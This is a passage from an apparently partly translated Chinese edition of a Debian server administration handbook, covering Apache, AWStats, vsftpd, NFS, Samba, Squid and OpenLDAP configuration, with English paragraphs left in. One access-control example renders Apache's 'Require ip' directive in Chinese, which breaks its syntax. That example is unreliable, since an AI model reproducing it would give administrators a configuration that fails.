The Falcot administrators also install libapache2-mod-php so as to include the PHP 7.4 support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead. To use the event MPM one can use php-fpm.

安全 在 www-data 用户下执行

By default, Apache handles incoming requests under the identity of the www-data user as defined in /etc/apache2/envvars. This means that a security vulnerability in a CGI script executed by Apache (for a dynamic page) won't compromise the whole system, but only the files owned by this particular user.

通过使用由 apache2-suexec-* 软件包提供的 suexec 模块，允许避开这条规则，从而一些 CGI 脚本在其它用户的身份下执行。这由 Apache 配置中的 SuexecUserGroup usergroup 指令来配置。

另一个可能性是使用专用的 MPM，如由 libapache2-mpm-itk 提供的一个。特定的这个具有略微不同的行为：它允许 “隔离” 虚拟主机（实际上是一组页面），从而它们每次作为不同用户运行。这样，一个网站中的漏洞不能使属于另一个网站所有者的文件陷入危险。

速览 模块的列表

The full list of Apache standard modules can be found online.

→ https://httpd.apache.org/docs/2.4/mod/

Apache 是模块化的服务器，而它的很多特性由主程序在初始化时装载的外部模块来实施。默认配置只启用最常用的模块，但启用新的模块不过是运行 a2enmod module的简单事情；要禁止模块，命令是a2dismod module。这些程序实际上只创建（或删除）/etc/apache2/mods-enabled/中的符号链接，它们指向真实文件（存储在 /etc/apache2/mods-available/中）。

实践 检查配置

mod_info 模块（a2enmod info）允许通过浏览器访问http://localhost/server-info，来访问所有的 Apache 服务器配置和信息。因为它会包含敏感信息，默认只允许来自本地主机的访问。

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

通过其默认设置，web 服务器监听端口 80 （如在 /etc/apache2/ports.conf 中所配置的），并且为来自 /var/www/html/ 目录的页面提供服务（如在 /etc/apache2/sites-enabled/000-default.conf中所配置的）。

11.2.2. 为 SSL 添加支持

Apache 2.4 包括用于保护开箱即用的 HTTP（HTTPS）所需的 SSL 模块（mod_ssl）。它只需要用 a2enmod ssl 来启用，然后所需的指令必须添加到配置文件中。配置示例提供在 /etc/apache2/sites-available/default-ssl.conf 中。

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

如果想要生成受信任的证书，可以按照 第 10.2.1 节 “创建免费的受信任证书” 这一节，然后调整后面的变量：

SSLCertificateFile      /etc/letsencrypt/live/DOMAIN/fullchain.pem

SSLCertificateKeyFile   /etc/letsencrypt/live/DOMAIN/privkey.pem

SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem

SSLCACertificateFile    /etc/ssl/certs/ca-certificates.crt

Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromise of the server's secret key does not result in the compromise of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommendations in particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

As an alternative to the standard SSL module, there is an extension module called mod_gnutls, which is shipped with the libapache2-mod-gnutls package and enabled with the a2enmod gnutls command. Unfortunately the version packaged for Debian had serious issues and even security implications and is therefor not part of the Debian Bullseye release.

→ https://mod.gnutls.org/

11.2.3. 配置虚拟主机

虚拟主机是 web 服务器额外的身份。

Apache 考虑两个不同种类的虚拟主机：基于 IP 地址（或端口）的那些，和依赖于 web 服务器域名的那些。第一种方法需要为每个网站分配不同的 IP 地址（或端口），而第二种可以工作在单一 IP 地址（或端口）上，并且网站由 HTTP 客户端发送的主机名来区分（只工作在 HTTP 协议的 1.1 版本下——幸运的是版本足够老，所有的客户端都已经使用了）。

IPv4 地址（增加的）稀缺性通常偏爱第二种方法；然而虚拟主机也需要提供 HTTPS 的话会变得更复杂，因为 SSL 协议不总是为基于名称的虚拟主机而提供；允许这样组合的 SNI 扩展（Server Name Indication（服务器名称指示））并不被所有浏览器处理。当几个 HTTPS 网站需要在相同的服务器上运行时，它们通常或者由在不同的端口上，或者在不同的 IP 地址上运行来区分（IPv6 在这里会有帮助）。

Apache 2 的默认配置启用基于名称的虚拟主机。此外，默认虚拟主机在 /etc/apache2/sites-enabled/000-default.conf 文件中定义；如果没有发现与客户端发送的请求相匹配的主机的话，这个虚拟主机将被使用。

警告 第一虚拟主机

关于未知虚拟主机的请求总是由首先定义的虚拟主机来服务，这就是为什么我们首先在这里定义 www.falcot.com。

速览 Apache 支持 SNI

Apache 服务器支持 SSL 协议扩展，被称为 Server Name Indication（服务器名称指示） （SNI）。这个扩展允许在建立 SSL 连接的过程中浏览器发送 web 服务器的主机名，比 HTTP 请求本身早得多，这在之前用于识别以相同服务器（具有相同的地址和端口）作为主机的那些请求的虚拟主机。这允许 Apache 选择最适当的 SSL 证书来继续传输。

在 SNI 之前，Apache 总是使用默认的虚拟主机中定义的证书。试图访问其它虚拟主机的客户端然后显示警告，因为它们接收到的证书与它们试图访问的网站不匹配。幸运的是，多数浏览器现在通过 SNI 来工作；这包括自 7.0 版本开始的微软 IE（从 Vista 开始）、从2.0 版本开始的 Mozilla Firefox和从 3.2.1 版本开始的苹果 Safari，以及所有版本的谷歌 Chrome。

Debian 中提供的 Apache 软件包建有对 SNI 的支持；这样，不需要特别的配置。

每一个额外的虚拟主机都由 /etc/apache2/sites-available/ 中存储的文件来描述。这样，为 falcot.org 域设置网站就是创建后面的文件，然后通过 a2ensite www.falcot.org 启用虚拟主机这样简单的事情。

例 11.13. /etc/apache2/sites-available/www.falcot.org.conf 文件

<VirtualHost *:80>

ServerName   www.falcot.org

ServerAlias  falcot.org

DocumentRoot /srv/www/www.falcot.org

</VirtualHost>

迄今为止配置的 Apache 服务器对所有虚拟主机使用了相同的日志文件（尽管可以通过在虚拟主机的定义中添加 CustomLog 指令来更改）。这样，很好理解去定制这个日志文件的格式来使它包含虚拟主机的名称。这可以通过创建为所有日志文件定义了新格式的 /etc/apache2/conf-available/customlog.conf 文件来进行，并通过 a2enconf customlog 来启用。还必须从 /etc/apache2/sites-available/000-default.conf 文件中删除（或注释掉） CustomLog 行。

例 11.14. /etc/apache2/conf-available/customlog.conf 文件

# New log format including (virtual) host name

LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# Now let's use this "vhost" format by default

CustomLog /var/log/apache2/access.log vhost

11.2.4. 常用指令

这一节简要地回顾了一些通常使用的 Apache 配置指令。

主要配置文件通常包括几个 Directory（目录） 块；它们允许为依赖于所服务的文件的位置的服务器指定不同行为。这样的块通常包括 Options 和 AllowOverride 指令。

例 11.15. 目录块

<Directory /srv/www>

Options Includes FollowSymlinks

AllowOverride All

DirectoryIndex index.php index.html index.htm

</Directory>

DirectoryIndex 指令包含当客户端请求匹配目录时尝试的文件列表。列表中存在的第一个文件被使用，并作为响应来发送。

Options 指令后面是被启用的选项列表。None 值禁止了所有的选项；相应地，All 全部启用它们，除了MultiViews。可用选项包括：

- ExecCGI 指示可以执行 CGI 脚本。

- FollowSymlinks 告诉服务器可以跟随符号链接，并且响应应该包含这个链接目标的内容。

- SymlinksIfOwnerMatch also tells the server to follow symbolic links, but only when the link and its target have the same owner.

- Includes 启用 Server Side Includes（服务器一侧包含）（缩写为 SSI）。这些指令嵌入 HTML 页面中，并对每个请求动态执行。

- IncludesNOEXEC 允许 Server Side Includes（服务器一侧执行）（缩写为 SSI），但禁止 exec 命令并对文本/标记文件限制 include 指令。

- Indexes 告诉服务器如果由客户端发送的 HTTP 请求指向没有索引文件的目录（也就是DirectoryIndex 指令提到的文件不存在于这个目录中时），那么列出目录的内容。

- MultiViews 启用了内容协商；这可以被服务器使用，来返回与浏览器中配置的所需语言相匹配的 web 页面。

基本知识 .htaccess 文件

.htaccess 文件包含 Apache 配置指令，每次请求涉及其所存储的目录中的元素时会强制执行配置指令。这些指令的范围还递归到其中所有的子目录。

在 Directory 块中能够发生的多数指令在 .htaccess 文件中也是合法的。

AllowOverride 指令列出可以由 .htaccess 文件的方式启用或禁止的所有选项。这个选项通常用于限制 ExecCGI，从而管理员选择哪些用户在 web 服务器身份（www-data 用户）下允许运行程序。

11.2.4.1. 需要身份认证

In some circumstances, access to part of a website needs to be restricted, so only legitimate users who provide a username and a password are granted access to the contents. These feature are provided by the mod_auth* modules.

例 11.16. .htaccess 文件需要授权

Require valid-user

AuthName "Private directory"

AuthType Basic

AuthUserFile /etc/apache2/authfiles/htpasswd-private

安全 无安全问题

上面的示例中使用的认证系统（Basic）具有最低的安全性，因为密码以明文发送（只加密为base64，这只是简单的编码而不是加密方法）。还应该注意，由这种机制“保护”的文件在网络上同样清楚地交流。如果安全性是重要的，那么整个 HTTP 连接应该由 SSL 加密。

/etc/apache2/authfiles/htpasswd-private 文件包含用户和密码的列表；它通常由 htpasswd 命令来操作。例如后面的命令用于添加用户或更改他们的密码：

# htpasswd /etc/apache2/authfiles/htpasswd-private user

New password:

Re-type new password:

Adding password for user user

11.2.4.2. 限制访问

Require 指令控制对目录（递归地，及其子目录）的访问限制。

→ https://httpd.apache.org/docs/2.4/howto/access.html

它可以基于很多标准用来限制访问；我们会停在描述根据客户端的 IP 地址来限制访问上，但它的功能比这个更强大，特别是在 RequireAll 块中组合几个 Require 指令的时候。

例 11.17. 只允许来自本地网络

需要 ip 192.168.0.0/16

替代 旧的语法

Require 语法只在 Apache 2.4 中可用（从 Jessie 开始上市的版本）。对于 Wheezy 的用户， Apache 2.2 的语法不同，我们在这里描述主要用于参考，尽管可以使用 mod_access_compat 模块在 Apache 2.4 中得到。

Allow from 和 Deny from 指令控制对目录（及其子目录，递归地）的访问限制。

Order 指令告诉服务器 Allow from 和 Deny from 指令应用的顺序；匹配的最后一个获得优先权。具体来说，如果不应用 Deny from 的话，或者如果 Allow from 指令执行的话，则 Order deny,allow 允许访问。相反，如果 Allow from 指令不匹配（或者如果应用 Deny from 指令），那么Order allow,deny 拒绝访问。

Allow from 和 Deny from 指令可以在后面跟 IP 地址、网络（如 192.168.0.0/255.255.255.0、192.168.0.0/24 或者甚至 192.168.0）、主机名或域名、或者 all 关键字来指定每个人。

例如，要默认拒绝连接但允许连接来自本地网络的链接，可以使用这个：

Order deny,allow

Allow from 192.168.0.0/16

Deny from all

11.2.5. 日志分析程序

日志分析程序频繁地安装在 web 服务器上；因为前者为管理员提供了后者使用方式的精确概念。

Falcot 公司的管理员选择 AWStats（Advanced Web Statistics）来分析他们的 Apache 日志文件。

第一个配置步骤是定制 /etc/awstats/awstats.conf 文件。Falcot 公司的管理员只更改后面的参数，而保持其它不变：

LogFile="/var/log/apache2/access.log"

LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"

SiteDomain="www.falcot.com"

HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"

DNSLookup=1

LoadPlugin="tooltips"

所有这些参数由模板文件中的注释来存档。特别是，LogFile 和 LogFormat 参数描述了日志文件以及其包含的信息；SiteDomain 和 HostAliases 列出了获知主网站的各个名称。

对于高流量网站，DNSLookup 通常应该不设置为 1；对于较小的网站，如上面描述的 Falcot 公司的网站，这个设置允许得到可读性更好的报告，它除了包括原始 IP 地址，还包括全部的机器名称。

安全 对统计数据的访问

AWStats 默认使其统计数据在网络上可被获取而不被限制，但限制可以被设置，从而只有很少的（可能是内部的） IP 地址可以访问它们；允许的 IP 地址列表需要在 AllowAccessFromWebToFollowingIPAddresses 参数中确定

AWStats 还启用其它虚拟主机；每台虚拟主机需要自己的配置文件，如/etc/awstats/awstats.www.falcot.org.conf。

例 11.18. 用于虚拟主机的 AWStats 配置文件

Include "/etc/awstats/awstats.conf"

SiteDomain="www.falcot.org"

HostAliases="falcot.org"

AWStats uses many icons stored in the /usr/share/awstats/icon/ directory. In order for these icons to be available on the web site, the Apache configuration needs to be adapted to include the following directive (check out /usr/share/doc/awstats/examples/apache.conf for a more detailed example):

Alias /awstats-icon/ /usr/share/awstats/icon/

几分钟后（并且一旦脚本运行了几次），结果会在线可用：

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

警告 日志文件轮替

In order for the statistics to take all the logs into account, AWStats needs to be run right before the Apache log files are rotated. Looking at the prerotate directive of /etc/logrotate.d/apache2 file, this is solved by the awstats package by putting a script in /etc/logrotate.d/httpd-prerotate running /usr/share/awstats/tools/update.sh.

Note also that the log files created by logrotate need to be readable by everyone, especially AWStats. This is ensured by changing /etc/logrotate.d/apache2 to include create 644 root adm (instead of the default 640 permissions) for example. But please refer to /usr/share/doc/awstats/README.Debian.gz for a more extensive documentation about this topic and alternatives.

11.3. FTP文件服务器

FTP （File Transfer Protocol——文件传输协议）是因特网的第一批协议之一。（RFC 959 在 1985 年发行！）甚至在 Web 诞生之前就用于分发文件（HTTP 协议创建于 1990年，并由 RFC 1945 正式在其 1.0 版本中定义，在 1996 年发行）。

This protocol allows both file uploads and file downloads; for this reason, it is still widely used to deploy updates to a website hosted by one's Internet service provider (or any other entity hosting websites). In these cases, access is enforced with a user identifier and password; on successful authentication, the FTP server grants read-write access to that user's home directory.

SECURITY FTP, FTPS, and SFTP

FTP is not a secure protocol. User names, passwords, and data are transported in clear text. To increase the security, one can use FTP via implicit (enforced) or explicit (requested) SSL/TLS, also known as FTPS, but not to be confused with SFTP, the SSH File Transfer Protocol, an alternative file transfer implementation using SSH. Many FTP server packages in Debian support FTPS.

其它 FTP 服务器主要用于发布文件供公众下载；Debian 软件包就是个好的示例。这些服务器的内容取自其它地理上的远程服务器；然后供不那么远的用户来获取。这意味着不需要客户端认证；结果，这个操作模式被称为“匿名 FTP”。非常正确的是，客户端以 用户名 anonymous来认证；密码为了方便起见通常是用户的电子邮件地址，但服务器会忽略掉。

Many FTP servers are available in Debian (ftpd(-ssl), proftpd-basic, pure-ftpd and so on), which all provide the virtual ftp-server package. Please note that the pyftpd package, however, has been removed from the Debian project due to not being actively maintained anymore and being incompatible with Python 3. The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.

安装软件包会创建 ftp 系统用户。这个账户总是用于匿名 FTP 连接，并且其家目录（/srv/ftp/）就是连接到这个服务上的用户可使用的树的根。默认配置（在 /etc/vsftpd.conf 中）需要一些更改，以迎合使大文件可供公众下载的简单需要：匿名王文需要启用（anonymous_enable=YES）并且对本地用户的只读访问需要被禁止（local_enable=NO）。后者非常重要，因为 FTP 协议不使用任何形式的加密，并且用户密码能够通过网络来翻译。

FTP and FTPS resources can be accessed with a variety of clients, with and without a graphical user interface, and they can also be mounted locally using the curlftpfs command from the similarly named package.

11.4. NFS 文件服务器

NFS （Network File System——网络文件系统）是允许通过网络远程访问文件系统的协议。所有的 Unix 系统可以通过这个协议工作。

特例 Microsoft Windows 和 NFS 共享

当包括 Windows 较老的或（所谓的）“家庭版”变体时，通常必须使用 Samba (第 11.5 节 “用 Samba 设置 Windows 共享”) 而不是 NFS。然而现代的 Windows Server 和“专业版”或“企业版”桌面方案具有对 NFS 内建的支持。在安装“NFS 服务”组件后，可以访问 NFS 共享，并且像任何其它网络共享一样临时或永久挂载。要注意文件名中可能的编码问题。

As an alternative Debian can be installed on Windows 10 Pro and higher. It requires the installation of the Windows Subsystem for Linux (WSL) component and the Debian app from the Windows store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS 是非常有用的工具，但历史上它受到了很多限制，多数限制已经在第 4 版协议中处理了。缺点是当使用基本的安全特性如认证和加密时，最新版的 NFS 难于配置，因为它对那些部分依赖于 Kerboreos。没有的话，NFS 协议必须限制为受信任的本地网络，因为数据在网络上不加密（嗅探程序可以拦截到）地传递，并且基于客户端的 IP 地址（可以被欺骗）来授予访问权限。

文档 NFS HOWTO

部署 NFSv4 的良好文档非常缺乏。这里是内容质量各异的一些要点，但至少对应该做什么有一些提示。

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. 使 NFS 安全

如果不使用基于 Kerberos 的安全特性，那么确保只允许使用 NFS 的机器可以连接到各种所需的 RPC 服务器上是至关重要的，因为基本协议信任从网络接收到的数据。防火墙也必需阻挡 IP 嗅探，从而防止外部机器作为内部的机器工作，并且对适当端口的访问必须被限制给有意访问 NFS 共享的机器。

基本知识 RPC

RPC（Remote Procedure Call——远程过程调用）是用于远程服务的 Unix 标准。NFS 是一种这样的服务。

RPC 服务注册到一个被称为 portmapper 的目录。想要执行 NFS 查询的客户端首先处理 portmapper（在端口 111，TCP 或 UDP），并查询 NFS 服务器；回复通常提到端口 2049 (NFS 默认的）。不是所有的 RPC 服务有必要使用固定的端口。

较老版本的协议需要其它动态指定端口的 RPC 服务。幸运的是通过第 4 版的NFS，只需要端口 2049 （用于 NFS）和 111 （用于 portmapper），这样对于防火墙很容易处理。

11.4.2. NFS 服务器

NFS 服务器是 Linux 内核的一部分；在 Debian 提供的内核中，它构建为内核模块。如果 NFS 服务器在引导时自动运行，那么应该安装 nfs-kernel-server 软件包；它包含相关的启动脚本。

The NFS server configuration file(s), /etc/exports and /etc/exports.d/, lists the directories that are made available over the network (exported). For each NFS share, only the given list of machines is granted access. More fine-grained access control can be obtained with a few options. The syntax for this file is quite simple:

/directory/to/share machine1(option1,option2,...) machine2(...) ...

注意，通过 NFSv4，所有的导出目录必须是单一层次结构的一部分，并且层次结构的根目录必须被导出，并用选项fsid=0 或 fsid=root 来识别。

每台机器可以由其 DNS 名称或其 IP 地址来识别。整组的机器也可以使用如 *.falcot.com 这样的语法，或如 192.168.0.0/255.255.255.0 或 192.168.0.0/24 这样的 IP 地址来指定。

目录默认（或者通过 ro 选项）作为只读可用。 rw 选项允许读写访问。NFS 客户端典型地从限制为 root 的端口连接（换句话说，低于 1024）；这个限制可以由 insecure 选项提升（secure 选项是隐性的，但如果需要清晰的话可以显性）。

在当前磁盘操作完成时（sync 选项），服务器默认只回答 NFS 查询；这可以通过 async选项来禁止。异步写入提高了一点性能，但降低了可靠性，因为在通知写入与真实写到磁盘上之间在服务器崩溃的情况下，存在数据丢失的风险。由于最近更改的默认值（与 NFS 的历史值相比），推荐显性的设置。

为了避免给予 NFS 客户端对文件系统的根访问权限，看起来来自根用户的所有查询都被服务器认为是来自 nobody 用户。这个行为符合 root_squash 选项，并且默认启用。禁止这个行为的 no_root_squash 选项是有风险的，并且应该只在受控的环境下使用。如果所有用户应该被映射到 nobody 用户上，那么使用 all_squash。anonuid=uid 和 anongid=gid 选项允许指定另一个伪用户来使用，取代 UID/GID 65534 （这符合nobody 用户和 nogroup 组）。

通过 NFSv4，可以添加 sec 选项来指定想要的安全等级：sec=sys 是默认的，没有特定的安全特性，sec=krb5 只启用认证，sec=krb5i 添加了整体保护，而 sec=krb5p 是最完全的等级，包括隐私保护（带有数据加密）。为了让它工作，需要进行 Kerberos 设置（那个服务不包括在本书的范围内）。

还有其它选项可用；它们归档在 exports(5) 手册页面中。

警告 第一次安装

The file /etc/exports does not list any valid NFS shares on initial installation. Once either this file or any file in /etc/exports.d/ has been edited or added to contain valid entries, the NFS server must be restarted with either of the following commands:

# exportfs -ra

# systemctl start nfs-kernel-server

11.4.3. NFS 客户端

As with other filesystems, integrating an NFS share into the system hierarchy requires mounting (and the nfs-common package). Since this filesystem has its peculiarities, a few adjustments were required in the syntax of the mount command and the /etc/fstab file.

例 11.19. 用 mount 命令来手动挂载

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

例 11.20. 在 /etc/fstab 文件中的 NFS 入口

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

上面描述的入口在系统启动时将 NFS 目录 /shared/ 从 arrakis 服务器挂载到本地 /srv/shared/ 目录中。这会需要读写访问（这样需要 rw 参数）。nosuid 选项是保护措施，从共享上存储的程序中擦除了任何 setuid 或 setgid 位。如果 NFS 共享只意味着存储文档，那么另一个推荐的选项是 noexec，它防止执行共享上存储的程序。注意，在服务器上 shared 目录在 NFSv4 root export 之下（例如 /export/shared），它不是顶层目录。

nfs(5) 手册页面在某种程度上具体地描述了所有的选项。

11.5. 用 Samba 设置 Windows 共享

Samba 是 Linux 上处理 SMB 协议的一套工具（也被称为“CIFS”）。这个协议由 Windows 使用用于网络共享和共享打印机。

Samba 还可以用作 Windows 域控制器。这是一种出众的工具，来确保无缝整合 Linux 服务器和仍然运行 Windows 的办公桌面机器。

11.5.1. Samba 服务器

samba 软件包包括 Samba 4 的两个主要服务器，smbd 和 nmbd。

文档 进阶阅读

The Samba server is extremely configurable and versatile, and can address a great many different use cases matching very different requirements and network architectures. This book only focuses on the use case where Samba is used as a standalone server, but it can also be an NT4 Domain Controller or a full Active Directory Domain Controller, or a simple member of an existing domain (which could be managed by a Windows server).

samba 软件包包括所有必须的手册页面，并在 /usr/share/doc/samba/examples/ 中包含丰富的带有注释的示例文件。如果要查找更详细的文档，可以查看 Samba 网站。

→ https://www.samba.org/samba/docs/

工具 使用 Windows Server 认证

Winbind 给予系统管理员使用 Windows Server 作为认证服务器的选项。Winbind 还与 PAM 和 NSS 利落地集成。这允许设置 Linux 机器使 Windows 域的所有用户自动得到账户。

更多信息可以在 libpam-winbind 软件包的 /usr/share/doc/libpam-winbind/examples/pam_winbind/ 目录中找到。

11.5.1.1. 使用 debconf 来配置

The package sets up a minimal configuration during the initial installation in /etc/samba/smb.conf by plainly copying /usr/share/samba/smb.conf. So you should really run dpkg-reconfigure samba-common to adapt it:

在首次安装时，唯一需要的信息是 Samba 服务器所属的工作组的名称（在我们的情况下是 FALCOTNET）。

在软件包（从旧的稳定 Debian 版本）更新的情况下，或者如果 SMB 服务器已经配置来使用 WINS 服务器（wins server），那么软件包还打算从 DHCP 守护进程提供的信息中识别 WINS 服务器。Falcot 公司的管理员拒绝这个选项，因为他们想要使用 Samba 服务器本身作为 WINS 服务器。

11.5.1.2. 手动配置

11.5.1.2.1. 更改为 smb.conf

Falcot 公司的要求需要在 /etc/samba/smb.conf 配置文件中修改其它选项。后面的节选概括地总结了在所做的更改，在 [global] 部分中生效。

[...]

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of

workgroup = FALCOTNET

[...]

# Windows Internet Name Serving Support Section:

# WINS Support - Tells the NMBD component of Samba to enable its WINS Server

wins support = yes

[...]

####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible

# values are "standalone server", "member server", "classic primary

# domain controller", "classic backup domain controller", "active

# directory domain controller".

#

# Most people will want "standalone server" or "member server".

# Running as "active directory domain controller" will require first

# running "samba-tool domain provision" to wipe databases and create a

# new domain.

server role = standalone server

obey pam restrictions = yes

[...]

# "security = user" is always a good idea. This will require a Unix account

# in this server for every user accessing the server.

security = user

[...]

Indicates that Samba should act as a Netbios name server (WINS) for the local network. This option had been removed from the default configuration in Buster and must be added manually if desired.

这是这个参数的默认值；然而由于它对 Samba配置至关重要，推荐显性地填写。每个用户在访问任何共享前必须认证。

11.5.1.2.2. 添加用户

每名 Samba 用户在服务器上需要账户；必须首先创建 Unix 账户，然后用户需要在 Samba 的数据库中注册。Unix 的步骤非常正常地完成（例如使用 adduser ）。

将现有用户添加到 Samba 数据库中不过是运行 smbpasswd -a user 命令的事；这个命令交互地询问密码。

可以通过 smbpasswd -x user 命令来删除用户。Samba 账户还能够（通过 smbpasswd -d user）被临时禁止，并且后面（通过 smbpasswd -e user）再次启用。

11.5.2. Samba 客户端

Samba 的客户端特性允许 Linux 机器访问 Windows 共享和共享打印机。所需程序在 cifs-utils 和 smbclient 软件包中得到。

11.5.2.1. smbclient 程序

smbclient 程序需要 SMB 服务器。它接受 -U user 选项，用于在特定的身份下连接到服务器上。 smbclient //server/share 与命令行 FTP 客户端相似，以交互的方式访问共享。 smbclient -L server 列出服务器上所有可用（并且可见）的共享。

11.5.2.2. 挂载 Windows 共享

mount 命令允许将 Windows 共享挂载到 Linux 文件系统层次结构中（在cifs-utils 提供的 mount.cifs的帮助下）。

例 11.21. 挂载 Windows 共享

mount -t cifs //arrakis/shared /shared \

-o credentials=/etc/smb-credentials

/etc/smb-credentials 文件（必须不能被用户读取）具有后面的格式：

username = user

password = password

可以在命令行指定其它选项；它们的完整列表可以在手册页面 mount.cifs(1) 中得到。特别是两个选项令人感兴趣：uid 和 gid 允许文件的用户和用户组强制在挂载时得到，从而不限制对根的访问。

Windows 共享的挂载也可以在 /etc/fstab 中配置：

//server/shared /shared cifs credentials=/etc/smb-credentials

Unmounting an SMB/CIFS share is done with the standard umount command.

11.5.2.3. 在共享打印机上打印

CUPS 是从 Linux 工作站打印到 Windows 机器共享打印机的优雅解决方案。当安装 smbclient 时，CUPS 允许自动安装 Windows 共享打印机。

这里是所需的步骤：

- 进入 CUPS 配置界面：http://localhost:631/admin

- 点击“添加打印机”。

- 选择打印机设备，选择“经由 SAMBA 的 Windows 打印机”。

- 输入网络打印机的连接 URI。它看起来应该像这样：
smb://user:password@server/printer.

- 输入唯一识别这台打印机的名称。然后输入打印机的描述与位置。这些会是对终端用户显示的字符串，帮助他们识别打印机。

- 指示了打印机的生产商/型号，或者直接提供网络打印机的描述文件（PPD）。

看，打印机工作了！

11.6. HTTP/FTP 代理

HTTP/FTP 代理作为 HTTP 和/或 FTP 连接的中介工作。它的角色是双重的：

- 缓存：最近下载的文档在本地复制，避免了多次下载。

- 筛选服务器：如果代理的使用是强制的（并且外发的连接被阻止，除非它们通过代理），那么代理可以确定请求是否被授权。

Falcot 公司选择 Squid 作为其代理服务器。

11.6.1. 安装

The squid Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.

去安装前必须小心地检查，系统要可以识别它的全名：hostname -f 必须返回完全合格的名称（包括域名）。如果没有的话，那么应该编辑 /etc/hosts 文件来包含系统的全名（例如，arrakis.falcot.com）。官方的计算机名称对网络管理员应该是合法的，来避免可能的名称冲突。

11.6.2. 配置缓存

允许将服务器特性缓存，是编辑 /etc/squid/squid.conf 配置文件并允许本地网络商的机器通过代理来运行查询的简单事情。后面的示例显示了 Falcot 公司的管理员所做的修改：

例 11.22. /etc/squid/squid.conf 文件（节选）

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS

#

include /etc/squid/conf.d/*

# Example rule allowing access from your local networks.

# Adapt localnet in the ACL section to list your (internal) IP networks

# from where browsing should be allowed

acl our_networks src 192.168.1.0/24 192.168.2.0/24

http_access allow our_networks

http_access allow localhost

# And finally deny all other access to this proxy

http_access deny all

11.6.3. 配置筛选程序

squid 本身不执行筛选；这个动作委托给 squidGuard。然后前者必须配置与后者交互。这包括将后面的指令添加到 /etc/squid/squid.conf 文件：

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi as a starting point. Required modifications to this script are the $proxy and $proxymaster variables (the name of the proxy and the administrator's contact email, respectively). The $image and $redirect variables should point to existing images representing the rejection of a query.

The filter is enabled with the systemctl reload squid command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid/squidGuard.conf file (using /etc/squidguard/squidGuard.conf.default as template if required).

在配置文件 squidGuard （或者它提到的域名或 URL 列表之一）的每次更改后，必须用 update-squidguard 重新生成工作数据库。 配置文件的语法归档在后面的网站中：

→ http://www.squidguard.org/Doc/configure.html

替代替代 E2guardian（DansGuardian 叉子）

The e2guardian package, a DansGuardian fork, is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, it can also take advantage of content and anti-virus scanning and it provides broad authentication support.

11.7. LDAP 目录

OpenLDAP 是 LDAP 协议的应用；换句话说，它是设计来存储目录的特定功能数据库。在最通常的使用情况下，使用 LDAP 服务器允许集中管理用户账户和相关的权限。而且，LDAP 数据库复制容易，这允许设置多个同步的 LDAP 服务器。当网络和用户基础迅速增长时，负载然后会在几台服务器之间平衡。

LDAP 数据是结构化的并且分层级的。结构由“schemas（架构）”来确定，它使用了所有可能的属性列表，来描述数据库可以存储的对象的种类。用于指示数据库中特定对象的语法基于这个结构，它解释了其复杂性。

11.7.1. 安装

slapd 软件包包含 OpenLDAP 服务器。ldap-utils 软件包包括了与 LDAP 服务器交互的命令行工具。

安装 slapd 通常只询问管理员的密码，并且产生的数据库可能并不适合您的需求。幸运的是，简单的 dpkg-reconfigure slapd 将让您更具体地重新配置 LDAP 数据库：

- 省略 OpenLDAP 服务器的配置？不，当然不，我们想要配置这个服务。

- DNS 域名：“falcot.com”。

- 组织名称：“Falcot Corp”。

- 管理密码需要键入。

- 数据库后端要使用：“MDB”。

- 当清除 slapd 时想要删除数据库吗？不，没有必要在犯错误的情况下冒丢失数据库的风险。

- 移动旧的数据库吗？只有在数据库已经存在而尝试进行配置的情况下才询问这个问题。如果真的想从干净的数据库重新开始时才能回答“是”，例如，如果刚好在初始安装后运行 dpkg-reconfigure slapd 的情况下。

基本知识 LDIF 格式

LDIF 文件（LDAP Data Interchange Format——LDAP 数据交换格式）是可移植文本文件，描述了 LDAP 数据库的内容（或其一部分）；然后这能够用于将数据注入任何其它 LDAP 服务器。

现在配置了最小数据库，如后面的查询所说明的：

$ ldapsearch -x -b dc=falcot,dc=com

# extended LDIF

#

# LDAPv3

# base <dc=falcot,dc=com> with scope subtree

# filter: (objectclass=*)

# requesting: ALL

#

# falcot.com

dn: dc=falcot,dc=com

objectClass: top

objectClass: dcObject

objectClass: organization

o: Falcot Corp

dc: falcot

# admin, falcot.com

dn: cn=admin,dc=falcot,dc=com

objectClass: simpleSecurityObject

objectClass: organizationalRole

cn: admin

description: LDAP administrator

# search result

search: 2

result: 0 Success

# numResponses: 2

# numEntries: 1

请求返回两个对象：组织自身和管理用户。

11.7.2. 填入目录

由于空数据库不特别有用，我们将所有现有目录注入其中；这包括用户、用户组、服务和主机数据库。

